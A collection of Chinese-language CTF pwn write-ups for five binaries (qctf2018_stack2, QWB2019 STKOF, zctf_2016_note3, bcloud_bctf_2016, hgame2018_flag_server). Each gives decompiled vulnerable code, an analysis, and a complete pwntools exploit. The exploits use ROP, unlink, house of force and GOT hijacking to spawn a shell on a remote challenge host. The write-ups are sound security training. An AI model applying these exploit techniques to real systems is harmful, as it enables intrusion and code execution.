qctf2018_stack2
qctf2018_stack2$ file stack2;checksec stack2
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
[*] '/home/pwn/桌面/qctf2018_stack2/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h] BYREF
unsigned int v6; // [esp+1Ch] [ebp-8Ch] BYREF
int v7; // [esp+20h] [ebp-88h] BYREF
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int m; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( m = 0; m < j; ++m )
v9 += v13[m];
}
return 0;
}
数组越界(可以直接跳过canary保护), 修改ret addr到后门hackhere
offset需要调试出来, 栈帧跟IDA显示的不一致
pwndbg> distance 0xffffd0d8 0xffffd15c
0xffffd0d8->0xffffd15c is 0x84 bytes (0x21 words)
offset = 0x84
from pwn import *
url, port = "node4.buuoj.cn", 28518
filename = "./stack2"
elf = ELF(filename)
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def write_addr(addr, num):
io.sendline("3")
io.sendlineafter("which number to change:\n", str(addr))
io.sendlineafter("new number:\n", str(num))
io.recvuntil("5. exit\n")
def pwn():
hackhere_addr = 0x0804859B
offset = 0x84
io.sendlineafter("How many numbers you have:\n","1")
io.sendlineafter("Give me your numbers\n","1")
io.recvuntil("5. exit\n")
write_addr(offset, 0x9B)
write_addr(offset + 1, 0x85)
write_addr(offset + 2, 0x04)
write_addr(offset + 3, 0x08)
io.sendline('5')
if __name__ == "__main__":
pwn()
io.interactive()
强网杯2019 拟态 STKOF
强网杯2019 拟态 STKOF$ file pwn;checksec pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=4e9e524accf0d36bc192e45338f529b360e5e92b, not stripped
[*] '/home/pwn/桌面/强网杯2019 拟态 STKOF/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
强网杯2019 拟态 STKOF$ file pwn2; checksec pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=99a007f4c6dd4896b9a352cbfc2911390754b257, not stripped
[*] '/home/pwn/桌面/强网杯2019 拟态 STKOF/pwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
第一次做拟态的题目, 拟态的思想是不同程序相同功能, 但是不同架构, 要求两个程序输出结果一致, 否则崩溃
这个题给了32位和64位程序, 32位偏移0x110, 64位偏移0x118
32位
int vul()
{
char v1[264]; // [esp+Ch] [ebp-10Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
j_memset_ifunc(v1, 0, 256);
read(0, v1, 768);
return puts(v1);
}
64位
__int64 vul()
{
__int64 v0; // rdx
char buf[272]; // [rsp+0h] [rbp-110h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
j_memset_ifunc(buf, 0LL, 256LL);
read(0, buf, 0x300uLL);
return puts(buf, buf, v0);
}
因为要同时打通两个程序, 所以payload需要精心构造, 思路总体来说, 就是利用0x118 - 0x110 = 0x08的距离执行add esp xx
将32位的栈迁移到ROP64的payload之后, 然后分治思想, 对于64位构造64位的ROP, 对于32位构造32位ROP, 分别都是调用read函数, 读取'/bin/sh\x00'
, 然后执行bss段. 这题绕过拟态防御的关键就是32位程序执行payload时会迁移栈, 然后继续执行ROP32, 64位程序则是常规执行ROP64, 两者互不干扰, 这样就能实现同一payload, 同时打通两个架构的程序.
from pwn import *
url, port = "node4.buuoj.cn", 27154
elf32 = ELF('./pwn')
elf64 = ELF('./pwn2')
local = 0
if local:
context.log_level = "debug"
io = process('./pwn2') # process('./pwn')
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
# 32 bits
pop_eax = 0x080a8af6
pop_edx_ecx_ebx = 0x0806e9f1
int80 = 0x080495a3
read32 = elf32.sym['read']
bss32 = 0x080DA320
add_esp_7C_pop4 = 0x0804933F
# 64 bits
pop_rax = 0x000000000043b97c
pop_rbx = 0x0000000000400d38
pop_rdx = 0x000000000043b9d5
pop_rsi = 0x0000000000405895
pop_rdi = 0x00000000004005f6
read64 = elf64.sym['read']
bss64 = 0x00000000006A32E0
syscall = 0x00000000004011dc
payload = cyclic(0x110)
payload += p32(add_esp_7C_pop4) + p32(0) # stack pivot
# 64bits ROP
# read(0, bss64, 0x10)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64)
payload += p64(pop_rdx) + p64(0x10) + p64(read64)
# execve(bss64, 0, 0)
payload += p64(pop_rdi) + p64(bss64) + p64(pop_rax) + p64(59)
payload += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
payload = payload.ljust(0x1A0, b'\x00') # 0x110 + 0x4 + 0x8C = 0x1A0
# 32bits ROP
# read(0, bss32, 0x10)
payload += p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)
#execve(bss32, 0, 0)
payload += p32(pop_eax) + p32(0x0B) + p32(pop_edx_ecx_ebx)
payload += p32(0) + p32(0) + p32(bss32) + p32(int80)
io.sendafter('try to pwn it?', payload)
sleep(0.3)
io.send('/bin/sh\x00')
if __name__ == "__main__":
pwn()
io.interactive()
zctf_2016_note3
zctf_2016_note3$ file zctf_2016_note3;checksec zctf_2016_note3
zctf_2016_note3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=8742f53238394d6ada3982d71592ac0928f06df6, stripped
[*] '/home/pwn/桌面/zctf_2016_note3/zctf_2016_note3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞在edit
int edit()
{
__int64 v0; // rax
__int64 v2; // [rsp+0h] [rbp-10h]
__int64 v3; // [rsp+8h] [rbp-8h]
puts("Input the id of the note:");
v2 = sub_4009B9();
v3 = v2 % 7;
if ( v2 % 7 >= v2 )
{
v0 = (__int64)*(&ptr + v3);
if ( v0 )
{
puts("Input the new content:");
sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8], '\n');
qword_6020C0[0] = (__int64)*(&ptr + v3);
LODWORD(v0) = puts("Edit success");
}
}
else
{
LODWORD(v0) = puts("please input correct id.");
}
return v0;
}
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(i + a1) = buf;
}
*(a1 + i) = 0;
return i;
}
检查输入的长度值, 当a2 == 0
, 即a2 - 1 == -1
, 会导致输入长度无限制, 那存在堆溢出, 可以修改下一个chunk, 所以可以控制fd和bk, 则使用unlink控制主结构体
因为没有show, 需要劫持got表的free到puts, 这样可以泄露fastbin的fd, 进而得到libc, 然后再打atoi@got到system即可
unlink之后, note[2]的content指针会指向0x6020c, 也就是主结构体, 这样可以劫持content指针为所欲为
from pwn import *
url, port = "node4.buuoj.cn", 28360
filename = "./zctf_2016_note3"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size, content):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter('(less than 1024)', str(size))
io.sendlineafter('content:', content)
def edit(index, content):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter('Input the id of the note:\n', str(index))
io.sendlineafter('Input the new content:\n', content)
def delete(index):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter('Input the id of the note:\n', str(index))
def pwn():
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
ptr = 0x00000000006020C8
add(0, 'chunk0')
add(0x100, 'chunk1')
add(0x100, 'chunk2')
add(0x100, 'chunk3')
# B()
payload = p64(0) * 3 + p64(0x121) + cyclic(0x110)
payload += p64(0) + p64(0x101)
payload += p64(ptr + 0x10 - 0x18) + p64(ptr + 0x10 - 0x10)
payload += cyclic(0xE0) + p64(0x100) + p64(0x110)
edit(0, payload)
# B()
delete(1) # unlink
# B()
payload = cyclic(0x8) + p64(free_got) + p64(atoi_got) * 3 # note[-1:4]
edit(2, payload)
# B()
edit(0, p64(puts_plt)[:-1]) # sendline has '/n'
delete(2) # leak atoi
atoi_addr = u64(io.recv(6).ljust(8, b'\x00'))
lf('atoi address', atoi_addr)
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
edit(3, p64(system_addr)[:-1]) # sendline has '/n'
io.recvuntil('>>\n')
io.send('/bin/sh\x00')
if __name__ == "__main__":
pwn()
io.interactive()
小结
整数溢出 + unlink 打got表改free到puts实现无show泄露, 再打got表atoi, get shell
bcloud_bctf_2016
bcloud_bctf_2016$ file bcloud_bctf_2016;checksec bcloud_bctf_2016
bcloud_bctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
[*] '/home/pwn/桌面/bcloud_bctf_2016/bcloud_bctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
一开始读取name, inputs函数有off-by-null漏洞, 并且这个漏洞会影响到strcpy, 也就是栈变量不输入截断符可以连着打印出栈内容, 这一点可以利用来泄露地址信息
unsigned int sub_80487A1()
{
char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
memset(s, 0, 0x50u);
puts("Input your name:");
inputs((int)s, 64, 10);
v2 = (char *)malloc(0x40u);
dword_804B0CC = (int)v2;
strcpy(v2, s);
sub_8048779(v2);
return __readgsdword(0x14u) ^ v3;
}
int __cdecl sub_804868D(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0; // off-by-one(null)
return i;
}
结构体是size和contents分开存储, 注意到malloc(size + 4), 所以off-by-one被修补了, 这个漏洞就无法利用. 但是注意到size可以输入任意大小, 或许可以利用这一点.
int add()
{
int result; // eax
int i; // [esp+18h] [ebp-10h]
int size; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i <= 9 && contents[i]; ++i )
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
size = sub_8048709();
contents[i] = (int)malloc(size + 4);
if ( !contents[i] )
exit(-1);
sizes[i] = size;
puts("Input the content:");
inputs(contents[i], size, '\n');
printf("Create success, the id is %d\n", i);
result = i;
flags[i] = 0;
return result;
}
之后其他常见堆漏洞就没找到了, 不过一开始的输入函数有漏洞, 通过不输入截断符, 可以溢出覆盖chunk
unsigned int sub_804884E()
{
char s[64]; // [esp+1Ch] [ebp-9Ch] BYREF
char *v2; // [esp+5Ch] [ebp-5Ch]
char v3[68]; // [esp+60h] [ebp-58h] BYREF
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]
v5 = __readgsdword(0x14u);
memset(s, 0, 0x90u);
puts("Org:");
inputs((int)s, 64, 10);
puts("Host:");
inputs((int)v3, 64, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2;
dword_804B148 = (int)v4;
strcpy(v4, v3);
strcpy(v2, s);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}
综合上述分析, 因为size可以任意大, 那么想到house of force利用, 而且因为溢出堆导致top chunk size可控, 且PIE没开导致可以计算top chunk和程序段offset, 满足house of force利用条件.
漏洞利用: 先泄露堆地址, top_chunk地址, 计算到主结构体contents的offset, malloc一个offset - 0x10大小的chunk, top chunk会冲到contents - 0x8处(预留chunk header的0x08大小), 此时malloc一个chunk, 就可以控制contents指针数组, 实现任意读写就可以为所欲为了
之后就归约到劫持got表泄露libc, 和劫持got表打system的常规操作
from pwn import *
url, port = "node4.buuoj.cn", 26292
filename = "./bcloud_bctf_2016"
elf = ELF(filename)
libc = ELF("./libc32-2.23.so")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size, content):
io.sendlineafter('option--->>', '1')
io.sendlineafter('Input the length of the note content:', str(size))
io.sendafter('Input the content:', content)
def edit(index, content):
io.sendlineafter('option--->>', '3')
io.sendlineafter('Input the id:', str(index))
io.sendlineafter('Input the new content:', content)
def delete(index):
io.sendlineafter('option--->>', '4')
io.sendlineafter('Input the id:', str(index))
def pwn():
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
contents_addr = 0x0804B120
io.sendafter('Input your name:', b'z'*0x40)
io.recvuntil(b'z'*0x40)
heap_addr = u32(io.recv(4))
top_chunk_addr = heap_addr + 0xD0
lf('heap address', heap_addr)
lf('top chunk address', top_chunk_addr)
io.sendafter('Org:', b'z'*0x40)
io.sendlineafter('Host:', p32(0xffffa1c4))
offset = contents_addr - top_chunk_addr - 0x10
lf('offset', offset)
add(offset, 'chunk0\n')
# B()
add(0x20, '\n') # malloc contents structure
# B()
payload = p32(0) + p32(free_got) + p32(puts_got) + p32(contents_addr + 0x10) + b'/bin/sh\x00'
edit(1, payload)
# B()
# hijack free@got to puts@plt
edit(1, p32(puts_plt))
delete(2) # leak puts@got
io.recv(1)
puts_addr = u32(io.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
lf('libc base address', libc_base)
lf('system address', system_addr)
# hijack free@got to system
edit(1, p32(system_addr))
delete(3) # system('/bin/sh')
if __name__ == "__main__":
pwn()
io.interactive()
小结
逻辑漏洞 + house of force
hgame2018_flag_server
hgame2018_flag_server$ file flag_server;checksec flag_server
flag_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38ec89d6f6386b324c132ada4ec2d02bd08cd514, not stripped
[*] '/home/pwn/桌面/hgame2018_flag_server/flag_server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [esp+8h] [ebp-60h] BYREF
int v6; // [esp+Ch] [ebp-5Ch] BYREF
int i; // [esp+10h] [ebp-58h]
int v8; // [esp+14h] [ebp-54h]
char s1[64]; // [esp+18h] [ebp-50h] BYREF
int v10; // [esp+58h] [ebp-10h]
unsigned int v11; // [esp+5Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
init();
v10 = 0;
printf("loading");
for ( i = 0; i >= 0; ++i )
{
if ( !(i % 100000000) )
putchar(46);
}
puts("OK\n");
v5 = 0;
printf("your username length: ");
__isoc99_scanf("%d", &v5);
while ( v5 > 63 || !v5 )
{
puts("sorry,your username is too LOOOOOOOOONG~~\nplease input again.\n");
printf("your username length: ");
while ( getchar() != 10 )
;
__isoc99_scanf("%d", &v5);
}
puts("whats your username?");
read_n(s1, v5);
if ( !strcmp(s1, "admin") )
{
v3 = time(0);
srand(v3);
v8 = rand();
printf("hello admin, please input the key: ");
__isoc99_scanf("%u", &v6);
if ( v6 != v8 )
{
puts("noooo, you are not the TRUE admin!!!\nwho are you???");
exit(0);
}
v10 = 1;
}
printf("hello %s, here is what I want to tell you:", s1);
if ( v10 )
system("cat flag");
else
puts(&byte_8048BF4);
return 0;
}
整数溢出 + 栈溢出
from pwn import *
url, port = "node4.buuoj.cn", 26720
filename = "./flag_server"
elf = ELF(filename)
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
payload = cyclic(0x100)
io.sendlineafter('your username length: ', '-1')
io.sendlineafter('username?\n', payload)
if __name__ == "__main__":
pwn()
io.interactive()